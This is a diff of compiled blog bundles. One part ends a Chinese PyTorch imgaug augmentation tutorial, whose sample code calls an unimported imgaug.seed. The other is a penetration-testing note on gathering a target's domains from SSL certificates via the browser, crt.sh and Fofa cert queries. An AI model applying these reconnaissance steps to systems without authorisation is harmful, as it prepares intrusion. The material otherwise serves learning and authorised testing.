imgaug\u5728PyTorch\u7684\u5e94\u7528"}),"\n",(0,s.jsxs)(n.p,{children:["\u5173\u4e8ePyTorch\u4e2d\u5982\u4f55\u4f7f\u7528imgaug\u6bcf\u4e00\u4e2a\u4eba\u7684\u6a21\u677f\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u6211\u5728\u8fd9\u91cc\u4e5f\u4ec5\u4ec5\u7ed9\u51faimgaug\u7684issue\u91cc\u9762\u63d0\u51fa\u7684\u4e00\u79cd\u89e3\u51b3\u65b9\u6848\uff0c\u5927\u5bb6\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u5b9e\u9645\u9700\u6c42\u8fdb\u884c\u6539\u53d8\u3002\n\u5177\u4f53\u94fe\u63a5\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug/issues/406",children:"how to use imgaug with pytorch"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"import numpy as np\nfrom imgaug import augmenters as iaa\nfrom torch.utils.data import DataLoader, Dataset\nfrom torchvision import transforms\n\n# \u6784\u5efapipline\ntfs = transforms.Compose([\n iaa.Sequential([\n iaa.flip.Fliplr(p=0.5),\n iaa.flip.Flipud(p=0.5),\n iaa.GaussianBlur(sigma=(0.0, 0.1)),\n iaa.MultiplyBrightness(mul=(0.65, 1.35)),\n ]).augment_image,\n # \u4e0d\u8981\u5fd8\u8bb0\u4e86\u4f7f\u7528ToTensor()\n transforms.ToTensor()\n])\n\n# \u81ea\u5b9a\u4e49\u6570\u636e\u96c6\nclass CustomDataset(Dataset):\n def __init__(self, n_images, n_classes, transform=None):\n\t\t# \u56fe\u7247\u7684\u8bfb\u53d6\uff0c\u5efa\u8bae\u4f7f\u7528imageio\n self.images = np.random.randint(0, 255,\n (n_images, 224, 224, 3),\n dtype=np.uint8)\n self.targets = np.random.randn(n_images, n_classes)\n self.transform = transform\n\n def __getitem__(self, item):\n image = self.images[item]\n target = self.targets[item]\n\n if self.transform:\n image = self.transform(image)\n\n return image, target\n\n def __len__(self):\n return len(self.images)\n\n\ndef worker_init_fn(worker_id):\n imgaug.seed(np.random.get_state()[1][0] + worker_id)\n\n\ncustom_ds = CustomDataset(n_images=50, n_classes=10, transform=tfs)\ncustom_dl = DataLoader(custom_ds, batch_size=64,\n num_workers=4, pin_memory=True, \n worker_init_fn=worker_init_fn)\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5173\u4e8enum_workers\u5728Windows\u7cfb\u7edf\u4e0a\u53ea\u80fd\u8bbe\u7f6e\u62100\uff0c\u4f46\u662f\u5f53\u6211\u4eec\u4f7f\u7528Linux\u8fdc\u7a0b\u670d\u52a1\u5668\u65f6\uff0c\u53ef\u80fd\u4f7f\u7528\u4e0d\u540c\u7684num_workers\u7684\u6570\u91cf\uff0c\u8fd9\u662f\u6211\u4eec\u5c31\u9700\u8981\u6ce8\u610fworker_init_fn()\u51fd\u6570\u7684\u4f5c\u7528\u4e86\u3002\u5b83\u4fdd\u8bc1\u4e86\u6211\u4eec\u4f7f\u7528\u7684\u6570\u636e\u589e\u5f3a\u5728num_workers>0\u65f6\u662f\u5bf9\u6570\u636e\u7684\u589e\u5f3a\u662f\u968f\u673a\u7684\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"654-\u603b\u7ed3",children:"6.5.4 \u603b\u7ed3"}),"\n",(0,s.jsxs)(n.p,{children:["\u6570\u636e\u6269\u5145\u662f\u6211\u4eec\u9700\u8981\u638c\u63e1\u7684\u57fa\u672c\u6280\u80fd\uff0c\u9664\u4e86imgaug\u4ee5\u5916\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u53bb\u5b66\u4e60\u5176\u4ed6\u7684\u6570\u636e\u589e\u5f3a\u5e93\uff0c\u5305\u62ec\u4f46\u4e0d\u5c40\u9650\u4e8eAlbumentations\uff0cAugmentor\u3002\u9664\u53bbimgaug\u4ee5\u5916\uff0c\u6211\u8fd8\u5f3a\u70c8\u5efa\u8bae\u5927\u5bb6\u5b66\u4e0bAlbumentations\uff0c\u56e0\u4e3aAlbumentations\u8ddfimgaug\u90fd\u6709\u7740\u4e30\u5bcc\u7684\u6559\u7a0b\u8d44\u6e90\uff0c\u5927\u5bb6\u53ef\u4ee5\u6709\u9700\u6c42\u8bbf\u95ee",(0,s.jsx)(n.a,{href:"https://albumentations.ai/docs/examples/pytorch_classification/",children:"Albumentations\u6559\u7a0b"}),"\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.kaggle.com/code/aleksandradeis/data-augmentation-packages-overview/notebook",children:"kaggle-data-augmentation-packages-overview"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug/issues/406",children:"how to use imgaug with pytorch"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://mp.weixin.qq.com/s/tdNlCxmz_s1Wwls2qoQXDQ",children:"Kaggle\u77e5\u8bc6\u70b9\uff1a\u6570\u636e\u6269\u589e\u65b9\u6cd5"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.kaggle.com/code/jmcslk/pytorch-classification-model-based-on-imgaug/notebook",children:"PyTorch Classification Model Based On Imgaug."})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug-doc/tree/master/notebooks",children:"Tutorial Notebooks"})}),"\n"]})]})}function o(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(m,{...e})}):m(e)}},79401:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/aug_seq-281c342aec9895cd0f1a2c9513d7ff04.png"},90515:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/rotate-55f1178d52b5faecbcaba9fc011c2662.png"}}]); \ No newline at end of file diff --git a/en/assets/js/db207aa2.fb593471.js b/en/assets/js/db207aa2.fb593471.js new file mode 100644 index 0000000..9bf0c7c --- /dev/null +++ b/en/assets/js/db207aa2.fb593471.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[642],{28453:(e,n,t)=>{t.d(n,{R:()=>r,x:()=>c});var l=t(96540);const s={},i=l.createContext(s);function r(e){const n=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),l.createElement(i.Provider,{value:n},e.children)}},45226:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>d,contentTitle:()=>c,default:()=>x,frontMatter:()=>r,metadata:()=>l,toc:()=>h});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","title":"\u8bc1\u4e66\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/02.\u8bc1\u4e66\u67e5\u8be2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/02.\u8bc1\u4e66\u67e5\u8be2.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"ICP\u5907\u6848\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2"},"next":{"title":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2"}}');var s=t(74848),i=t(28453);const r={},c=void 0,d={},h=[{value:"\u8bc1\u4e66\u529f\u80fd",id:"\u8bc1\u4e66\u529f\u80fd",level:2},{value:"\u8bc1\u4e66\u5206\u7c7b",id:"\u8bc1\u4e66\u5206\u7c7b",level:2},{value:"\u5982\u4f55\u5229\u7528\u8bc1\u4e66\u67e5\u8be2\u57df\u540d",id:"\u5982\u4f55\u5229\u7528\u8bc1\u4e66\u67e5\u8be2\u57df\u540d",level:2},{value:"\u6d4f\u89c8\u5668\u67e5\u770b",id:"\u6d4f\u89c8\u5668\u67e5\u770b",level:3},{value:"\u5728\u7ebf\u7f51\u7ad9",id:"\u5728\u7ebf\u7f51\u7ad9",level:3},{value:"\u901a\u8fc7\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",id:"\u901a\u8fc7\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",level:3}];function o(e){const n={a:"a",blockquote:"blockquote",code:"code",del:"del",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:40:42"})]})})]}),"\n",(0,s.jsx)(n.p,{children:"SSL \u8bc1\u4e66 \u5c31\u662f\u9075\u5b88 SSL\u534f\u8bae\uff0c\u7531\u53d7\u4fe1\u4efb\u7684\u6570\u5b57\u8bc1\u4e66\u9881\u53d1\u673a\u6784CA\uff0c\u5728\u9a8c\u8bc1\u670d\u52a1\u5668\u8eab\u4efd\u540e\u9881\u53d1\uff0c\u5177\u6709\u670d\u52a1\u5668\u8eab\u4efd\u9a8c\u8bc1\u548c\u6570\u636e\u4f20\u8f93\u52a0\u5bc6\u529f\u80fd\u3002"}),"\n",(0,s.jsx)(n.p,{children:"SSL\u8bc1\u4e66\u901a\u8fc7\u5728\u5ba2\u6237\u7aef\u6d4f\u89c8\u5668\u548cWeb\u670d\u52a1\u5668\u4e4b\u95f4\u5efa\u7acb\u4e00\u6761SSL\u5b89\u5168\u901a\u9053\uff08Secure socket layer(SSL)\u5b89\u5168\u534f\u8bae\u662f\u7531Netscape Communication\u516c\u53f8\u8bbe\u8ba1\u5f00\u53d1\u3002\u8be5\u5b89\u5168\u534f\u8bae\u4e3b\u8981\u7528\u6765\u63d0\u4f9b\u5bf9\u7528\u6237\u548c\u670d\u52a1\u5668\u7684\u8ba4\u8bc1\uff1b\u5bf9\u4f20\u9001\u7684\u6570\u636e\u8fdb\u884c\u52a0\u5bc6\u548c\u9690\u85cf\uff1b\u786e\u4fdd\u6570\u636e\u5728\u4f20\u9001\u4e2d\u4e0d\u88ab\u6539\u53d8\uff0c\u5373\u6570\u636e\u7684\u5b8c\u6574\u6027\uff0c\u73b0\u5df2\u6210\u4e3a\u8be5\u9886\u57df\u4e2d\u5168\u7403\u5316\u7684\u6807\u51c6\u3002\u7531\u4e8eSSL\u6280\u672f\u5df2\u5efa\u7acb\u5230\u6240\u6709\u4e3b\u8981\u7684\u6d4f\u89c8\u5668\u548cWEB\u670d\u52a1\u5668\u7a0b\u5e8f\u4e2d\uff0c\u56e0\u6b64\uff0c\u4ec5\u9700\u5b89\u88c5\u670d\u52a1\u5668\u8bc1\u4e66\u5c31\u53ef\u4ee5\u6fc0\u6d3b\u8be5\u529f\u80fd\u4e86\uff09\uff0c\u5373\u901a\u8fc7\u5b83\u53ef\u4ee5\u6fc0\u6d3bSSL\u534f\u8bae\uff0c\u5b9e\u73b0\u6570\u636e\u4fe1\u606f\u5728\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u5668\u4e4b\u95f4\u7684\u52a0\u5bc6\u4f20\u8f93\uff0c\u53ef\u4ee5\u9632\u6b62\u6570\u636e\u4fe1\u606f\u7684\u6cc4\u9732\uff0c\u4fdd\u8bc1\u4e86\u53cc\u65b9\u4f20\u9012\u4fe1\u606f\u7684\u5b89\u5168\u6027\uff0c\u800c\u4e14\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u670d\u52a1\u5668\u8bc1\u4e66\u9a8c\u8bc1\u4ed6\u6240\u8bbf\u95ee\u7684\u7f51\u7ad9\u662f\u5426\u662f\u771f\u5b9e\u53ef\u9760\u3002\u6570\u5b57\u7b7e\u540d\u53c8\u540d\u6570\u5b57\u6807\u8bc6\u3001\u7b7e\u7ae0 (\u5373 Digital Certificate\uff0cDigital ID )\uff0c\u63d0\u4f9b\u4e86\u4e00\u79cd\u5728\u7f51\u4e0a\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\u7684\u65b9\u6cd5\uff0c\u662f\u7528\u6765\u6807\u5fd7\u548c\u8bc1\u660e\u7f51\u7edc\u901a\u4fe1\u53cc\u65b9\u8eab\u4efd\u7684\u6570\u5b57\u4fe1\u606f\u6587\u4ef6\uff0c\u6982\u5ff5\u7c7b\u4f3c\u65e5\u5e38\u751f\u6d3b\u4e2d\u7684\u53f8\u673a\u9a7e\u7167\u6216\u8eab\u4efd\u8bc1\u3002 \u6570\u5b57\u7b7e\u540d\u4e3b\u8981\u7528\u4e8e\u53d1\u9001\u5b89\u5168\u7535\u5b50\u90ae\u4ef6\u3001\u8bbf\u95ee\u5b89\u5168\u7ad9\u70b9\u3001\u7f51\u4e0a\u62db\u6807\u4e0e\u6295\u6807\u3001\u7f51\u4e0a\u7b7e\u7ea6\u3001\u7f51\u4e0a\u8ba2\u8d2d\u3001\u7f51\u4e0a\u516c\u6587\u5b89\u5168\u4f20\u9001\u3001\u7f51\u4e0a\u529e\u516c\u3001\u7f51\u4e0a\u7f34\u8d39\u3001\u7f51\u4e0a\u7f34\u7a0e\u4ee5\u53ca\u7f51\u4e0a\u8d2d\u7269\u7b49\u5b89\u5168\u7684\u7f51\u4e0a\u7535\u5b50\u4ea4\u6613\u6d3b\u52a8\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"\u8bc1\u4e66\u529f\u80fd",children:"\u8bc1\u4e66\u529f\u80fd"}),"\n",(0,s.jsx)(n.p,{children:"\u670d\u52a1\u5668\u90e8\u7f72\u4e86 SSL \u8bc1\u4e66\u540e\u53ef\u4ee5\u786e\u4fdd\u7528\u6237\u5728\u6d4f\u89c8\u5668\u4e0a\u8f93\u5165\u7684\u673a\u5bc6\u4fe1\u606f\u548c\u4ece\u670d\u52a1\u5668\u4e0a\u67e5\u8be2\u7684\u673a\u5bc6\u4fe1\u606f\u4ece\u7528\u6237\u7535\u8111\u5230\u670d\u52a1\u5668\u4e4b\u95f4\u7684\u4f20\u8f93\u94fe\u8def\u4e0a\u662f\u9ad8\u5f3a\u5ea6\u52a0\u5bc6\u4f20\u8f93\u7684\uff0c\u662f\u4e0d\u53ef\u80fd\u88ab\u975e\u6cd5\u7be1\u6539\u548c\u7a83\u53d6\u7684\u3002\u540c\u65f6\u5411\u7f51\u7ad9\u8bbf\u95ee\u8005\u8bc1\u660e\u4e86\u670d\u52a1\u5668\u7684\u771f\u5b9e\u8eab\u4efd\uff0c\u6b64\u771f\u5b9e\u8eab\u4efd\u662f\u901a\u8fc7\u7b2c\u4e09\u65b9\u6743\u5a01\u673a\u6784\u9a8c\u8bc1\u7684\u3002\u4e5f\u5c31\u662f\u8bf4\u6709\u4e24\u5927\u4f5c\u7528\uff1a\u6570\u636e\u52a0\u5bc6\u548c\u8eab\u4efd\u8ba4\u8bc1\u3002"}),"\n",(0,s.jsx)(n.p,{children:"a \u786e\u8ba4\u7f51\u7ad9\u771f\u5b9e\u6027\uff08\u7f51\u7ad9\u8eab\u4efd\u8ba4\u8bc1\uff09\uff1a\u7528\u6237\u9700\u8981\u767b\u5f55\u6b63\u786e\u7684\u7f51\u7ad9\u8fdb\u884c\u5728\u7ebf\u8d2d\u7269\u6216\u5176\u5b83\u4ea4\u6613\u6d3b\u52a8\uff0c\u4f46\u7531\u4e8e\u4e92\u8054\u7f51\u7684\u5e7f\u6cdb\u6027\u548c\u5f00\u653e\u6027\uff0c\u4f7f\u5f97\u4e92\u8054\u7f51\u4e0a\u5b58\u5728\u7740\u8bb8\u591a\u5047\u5192\u3001\u9493\u9c7c\u7f51\u7ad9\uff0c\u7528\u6237\u5982\u4f55\u6765\u5224\u65ad\u7f51\u7ad9\u7684\u771f\u5b9e\u6027\uff0c\u5982\u4f55\u4fe1\u4efb\u81ea\u5df1\u6b63\u5728\u8bbf\u95ee\u7684\u7f51\u7ad9\uff0c\u53ef\u4fe1\u7f51\u7ad9\u5c06\u5e2e\u4f60\u786e\u8ba4\u7f51\u7ad9\u7684\u8eab\u4efd\u3002\u5f53\u7528\u6237\u9700\u8981\u786e\u8ba4\u7f51\u7ad9\u8eab\u4efd\u7684\u65f6\u5019\uff0c\u53ea\u9700\u8981\u70b9\u51fb\u6d4f\u89c8\u5668\u5730\u5740\u680f\u91cc\u9762\u7684\u9501\u5934\u6807\u5fd7\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(n.p,{children:"b \u4fdd\u8bc1\u4fe1\u606f\u4f20\u8f93\u7684\u673a\u5bc6\u6027\uff1a\u7528\u6237\u5728\u767b\u5f55\u7f51\u7ad9\u5728\u7ebf\u8d2d\u7269\u6216\u8fdb\u884c\u5404\u79cd\u4ea4\u6613\u65f6\uff0c\u9700\u8981\u591a\u6b21\u5411\u670d\u52a1\u5668\u7aef\u4f20\u9001\u4fe1\u606f\uff0c\u800c\u8fd9\u4e9b\u4fe1\u606f\u5f88\u591a\u662f\u7528\u6237\u7684\u9690\u79c1\u548c\u673a\u5bc6\u4fe1\u606f\uff0c\u76f4\u63a5\u6d89\u53ca\u7ecf\u6d4e\u5229\u76ca\u6216\u79c1\u5bc6\uff0c\u5982\u4f55\u6765\u786e\u4fdd\u8fd9\u4e9b\u4fe1\u606f\u7684\u5b89\u5168\u5462\uff1f\u53ef\u4fe1\u7f51\u7ad9\u5c06\u5e2e\u60a8\u5efa\u7acb\u4e00\u6761\u5b89\u5168\u7684\u4fe1\u606f\u4f20\u8f93\u52a0\u5bc6\u901a\u9053\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5728SSL\u4f1a\u8bdd\u4ea7\u751f\u65f6\uff0c\u670d\u52a1\u5668\u4f1a\u4f20\u9001\u5b83\u7684\u8bc1\u4e66\uff0c\u7528\u6237\u7aef\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u7684\u5206\u6790\u670d\u52a1\u5668\u8bc1\u4e66\uff0c\u5e76\u6839\u636e\u4e0d\u540c\u7248\u672c\u7684\u6d4f\u89c8\u5668\uff0c\u4ece\u800c\u4ea7\u751f40\u4f4d\u6216128\u4f4d\u7684\u4f1a\u8bdd\u5bc6\u94a5\uff0c\u7528\u4e8e\u5bf9\u4ea4\u6613\u7684\u4fe1\u606f\u8fdb\u884c\u52a0\u5bc6\u3002\u6240\u6709\u7684\u8fc7\u7a0b\u90fd\u4f1a\u81ea\u52a8\u5b8c\u6210\uff0c\u5bf9\u7528\u6237\u662f\u900f\u660e\u7684\uff0c\u56e0\u800c\uff0c\u670d\u52a1\u5668\u8bc1\u4e66\u53ef\u5206\u4e3a\u4e24\u79cd\uff1a\u6700\u4f4e40\u4f4d\u548c\u6700\u4f4e128\u4f4d\uff08\u8fd9\u91cc\u6307\u7684\u662fSSL\u4f1a\u8bdd\u65f6\u751f\u6210\u52a0\u5bc6\u5bc6\u94a5\u7684\u957f\u5ea6\uff0c\u5bc6\u94a5\u8d8a\u957f\u8d8a\u4e0d\u5bb9\u6613\u7834\u89e3\uff09\u8bc1\u4e66\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u6700\u4f4e40\u4f4d\u7684\u670d\u52a1\u5668\u8bc1\u4e66\u5728\u5efa\u7acb\u4f1a\u8bdd\u65f6\uff0c\u6839\u636e\u6d4f\u89c8\u5668\u7248\u672c\u4e0d\u540c\uff0c\u53ef\u4ea7\u751f40\u4f4d\u6216128\u4f4d\u7684SSL\u4f1a\u8bdd\u5bc6\u94a5\u7528\u6765\u5efa\u7acb\u7528\u6237\u6d4f\u89c8\u5668\u4e0e\u670d\u52a1\u5668\u4e4b\u95f4\u7684\u5b89\u5168\u901a\u9053\u3002\u800c\u6700\u4f4e128\u4f4d\u7684\u670d\u52a1\u5668\u8bc1\u4e66\u4e0d\u53d7\u6d4f\u89c8\u5668\u7248\u672c\u7684\u9650\u5236\u53ef\u4ee5\u4ea7\u751f128\u4f4d\u4ee5\u4e0a\u7684\u4f1a\u8bdd\u5bc6\u94a5\uff0c\u5b9e\u73b0\u9ad8\u7ea7\u522b\u7684\u52a0\u5bc6\u5f3a\u5ea6\uff0c\u65e0\u8bba\u662fIE\u6216Netscape\u6d4f\u89c8\u5668\uff0c\u5373\u4f7f\u4f7f\u7528\u5f3a\u884c\u653b\u51fb\u7684\u529e\u6cd5\u7834\u8bd1\u5bc6\u7801\uff0c\u4e5f\u9700\u898110\u5e74\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"\u8bc1\u4e66\u5206\u7c7b",children:"\u8bc1\u4e66\u5206\u7c7b"}),"\n",(0,s.jsx)(n.p,{children:"SSL\u8bc1\u4e66\u4f9d\u636e\u529f\u80fd\u548c\u54c1\u724c\u4e0d\u540c\u5206\u7c7b\u6709\u6240\u4e0d\u540c\uff0c\u4f46SSL\u8bc1\u4e66\u4f5c\u4e3a\u56fd\u9645\u901a\u7528\u7684\u4ea7\u54c1\uff0c\u6700\u4e3a\u91cd\u8981\u7684\u4fbf\u662f\u4ea7\u54c1\u517c\u5bb9\u6027\uff08\u5373\u8bc1\u4e66\u6839\u9884\u57cb\u6280\u672f\uff09\uff0c\u56e0\u4e3a\u4ed6\u89e3\u51b3\u4e86\u7f51\u6c11\u767b\u5f55\u7f51\u7ad9\u7684\u4fe1\u4efb\u95ee\u9898\uff0c\u7f51\u6c11\u53ef\u4ee5\u901a\u8fc7SSL\u8bc1\u4e66\u8f7b\u677e\u8bc6\u522b\u7f51\u7ad9\u7684\u771f\u5b9e\u8eab\u4efd\u3002SSL\u8bc1\u4e66\u5206\u4e3a\u5982\u4e0b\u79cd\u7c7b\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u6269\u5c55\u9a8c\u8bc1\u578b(EV)SSL\u8bc1\u4e66"}),"\n",(0,s.jsx)(n.li,{children:"\u7ec4\u7ec7\u9a8c\u8bc1\u578b(OV)SSL\u8bc1\u4e66"}),"\n",(0,s.jsx)(n.li,{children:"\u57df\u540d\u9a8c\u8bc1\u578b(DV)SSL\u8bc1\u4e66"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5982\u4f55\u5229\u7528\u8bc1\u4e66\u67e5\u8be2\u57df\u540d",children:"\u5982\u4f55\u5229\u7528\u8bc1\u4e66\u67e5\u8be2\u57df\u540d"}),"\n",(0,s.jsx)(n.h3,{id:"\u6d4f\u89c8\u5668\u67e5\u770b",children:"\u6d4f\u89c8\u5668\u67e5\u770b"}),"\n",(0,s.jsxs)(n.p,{children:["chrome\u6d4f\u89c8\u5668(",(0,s.jsx)(n.del,{children:"\u5176\u4ed6\u6d4f\u89c8\u5668\u7c7b\u4f3c"}),") \u5de6\u4e0a\u89d2 \u9009\u62e9\u8fde\u63a5\u662f\u5b89\u5168\u7684 -> \u8bc1\u4e66\u6709\u6548 - > \u8be6\u7ec6\u4fe1\u606f -> \u8bc1\u4e66\u4e3b\u9898\u80cc\u666f\u7684\u5907\u7528\u540d\u79f0"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640534.png",alt:"img.png"})}),"\n",(0,s.jsx)(n.h3,{id:"\u5728\u7ebf\u7f51\u7ad9",children:"\u5728\u7ebf\u7f51\u7ad9"}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsxs)(n.p,{children:["\u63a8\u8350\u4f7f\u7528 ",(0,s.jsx)(n.a,{href:"https://crt.sh/",children:"crt.sh"})]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u8f93\u5165\u57df\u540d\u5373\u53ef\u67e5\u8be2"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640536.png",alt:"image-20221223155642658"})}),"\n",(0,s.jsx)(n.h3,{id:"\u901a\u8fc7\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",children:"\u901a\u8fc7\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce"}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"![TIP]"}),"\n",(0,s.jsx)(n.p,{children:"\u4ee5Fofa\u4e3a\u4f8b\uff0cshodan\u548czoomeye\u7c7b\u4f3c"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bed\u6cd5"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:'cert="baidu"'})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u641c\u7d22\u8bc1\u4e66(https\u6216\u8005imaps\u7b49)\u4e2d\u5e26\u6709baidu\u7684\u8d44\u4ea7\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:'cert.subject="Oracle Corporation"'})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u641c\u7d22\u8bc1\u4e66\u6301\u6709\u8005\u662fOracle Corporation\u7684\u8d44\u4ea7"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:'cert.issuer="DigiCert"'})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u641c\u7d22\u8bc1\u4e66\u9881\u53d1\u8005\u4e3aDigiCert Inc\u7684\u8d44\u4ea7"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"cert.is_valid=true"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u9a8c\u8bc1\u8bc1\u4e66\u662f\u5426\u6709\u6548\uff0ctrue\u6709\u6548\uff0cfalse\u65e0\u6548"})]})]})]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640537.png",alt:"image-20221223162407036"})})]})}function x(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/db9f8698.37ad6a2f.js b/en/assets/js/db9f8698.37ad6a2f.js new file mode 100644 index 0000000..5754916 --- /dev/null +++ 